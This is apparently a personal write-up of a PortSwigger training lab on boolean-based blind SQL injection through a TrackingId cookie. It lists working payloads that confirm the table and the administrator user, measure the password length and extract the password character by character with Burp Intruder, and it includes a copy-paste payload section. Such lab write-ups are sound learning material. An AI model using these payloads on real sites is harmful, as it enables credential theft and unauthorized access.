Blind SQL injection with conditional responses part 2
Blind SQL injection with conditional responses part 2: The TrackingId cookie is vulnerable to boolean‑based blind SQL injection. The app leaks a signal — it shows “Welcome Back!” when a condition is true and omits it when false. I used this to: 1) Prove injection, 2) Confirm the users table and the administrator user exist, 3) Determine the... • PortSwigger • Blind-SQL, SQL injection • blind-sql, lab10
🎯 Objective
The TrackingId cookie is vulnerable to boolean‑based blind SQL injection. The app leaks a signal — it shows “Welcome Back!” when a condition is true and omits it when false. I used this to:
- Prove injection,
- Confirm the
userstable and theadministratoruser exist, - Determine the password length, and
- Extract the password characters one by one, then log in as administrator.
🧩 Signal & Vulnerable Vector
- Vector:
Cookie: TrackingId=<value> - True condition → response contains Welcome Back!
- False condition → no Welcome Back!
This is perfect for boolean inference (no need for in‑band data).
🧭 Steps I Took
1) Proved injection with a comment
TrackingId=xyz' --Response: Welcome Back! → the trailing comment neutralizes the rest of the query, confirming injection.
Adding one more stray character breaks it (no “Welcome Back!”), proving it’s hitting the DB and the value matters.
2) Forced true/false tautologies
TrackingId=xy' AND 1=1-- -- TRUE → Welcome Back!
TrackingId=xyz' AND 1=0-- -- FALSE → no Welcome Back!We now have a reliable boolean oracle.
3) Verified the users table exists
TrackingId=xyz' AND (SELECT 'x' FROM users LIMIT 1)='x'--Response: Welcome Back! → users exists. As a negative control:
TrackingId=xyz' AND (SELECT 'x' FROM usersabcd LIMIT 1)='x'--Response: no Welcome Back!
4) Checked whether administrator exists
TrackingId=xyz' AND (
SELECT username FROM users WHERE username='administrator'
)='administrator'--Response: Welcome Back! → user exists. (A negative variant should remove “Welcome Back!”.)
🔍 Enumerating the Password
5) Does the password column exist? (sanity check)
TrackingId=xyz' AND (
SELECT password FROM users WHERE username='administrator'
)='abc'--Even if this returns no Welcome Back! (mismatch), lack of server errors suggests the column exists (the table exists and query parsed).
6) Find the password length
Use LENGTH(password) > n and binary/linear search the threshold.
Working probe (linear example):
TrackingId=... ' AND (
SELECT username FROM users
WHERE username='administrator' AND LENGTH(password)>1
)='administrator'--Interpretation: returns Welcome Back! while the predicate holds; turns false just after the real length.
Automating with Burp Intruder (length):
- Attack type: Sniper (or your Battering Ram approach with a single position works too)
- Mark a single payload position for the threshold:
Cookie: TrackingId=... ' AND ( SELECT username FROM users WHERE username='administrator' AND LENGTH(password)>§1§ )='administrator'--; - Payloads → Numbers: From
1to30, step1. - Sort by Response → Contains “Welcome” and/or by length.
- If your last true is
19, and20flips to false, then length is 20 (because we used>).
7) Extract each character by position
Use SUBSTRING(password, pos, 1) = 'c' to test a guess.
Request pattern (two payload positions):
GET /filter?category=Pets HTTP/1.1
Host: 0aad00ae047ae86ac07110a000b20042.web-security-academy.net
Cookie: TrackingId=XvGYvQNUWSEkh8zX' AND (
SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator'
)='§a§'--; session=...
Connection: close§1§→ numeric position (1..password_length)§a§→ character guess
Intruder config (character extraction):
- Attack type: Cluster bomb (two independent payload sets)
- Payload set 1 (position): Numbers from
1to<password_length>step1 - Payload set 2 (char): choose one:
- Brute forcer, min=1, max=1 (full byte range can be noisy), or
- Simple list of allowed chars, e.g.
0123456789abcdefghijklmnopqrstuvwxyz
- Payload set 1 (position): Numbers from
- Filter/sort on responses containing Welcome Back! to identify correct char at each position.
- Repeat (or let Cluster Bomb run full Cartesian set, then group by position).
Equivalent predicate only (payload core):
AND (SELECT SUBSTRING(password,§1§,1)
FROM users WHERE username='administrator')='§a§'--🧾 Copy‑paste Payloads
Boolean probes
' AND 1=1--
' AND 1=0--Table existence
' AND (SELECT 'x' FROM users LIMIT 1)='x'--User existence
' AND (SELECT username FROM users WHERE username='administrator')='administrator'--Password length
' AND (SELECT username FROM users
WHERE username='administrator' AND LENGTH(password)>§N§)='administrator'--Character at position
' AND (SELECT SUBSTRING(password,§pos§,1)
FROM users WHERE username='administrator')='§c§'--URL‑encoding tips
'→%27- space →
%20 --often needs a trailing space or newline after it in SQL; when in doubt, use--+(encode as%2D%2D+).
🧪 Troubleshooting
- No “Welcome Back!” anywhere? Your quote balance or comment spacing may be off. Try
%27for'and--+for the comment. - Function differences: On some DBs use
SUBSTR(...)instead ofSUBSTRING(...);LENGTH()is widely supported,CHAR_LENGTH()also exists. - WAF/noise: Randomize benign prefixes/suffixes to normalize response size; rely on “Welcome Back!” substring rather than content length alone.
- Speed: Use binary search for length (
> mid) to cut requests in half each step.
✅ Result
- Confirmed blind boolean oracle via TrackingId.
- Discovered
users, verifiedadministratorexists. - Determined password length and extracted it character‑by‑character.
- Logged in as administrator. Lab solved.
These are my notes and the exact payloads I used. The key was treating the presence of “Welcome Back!” as a boolean truth signal.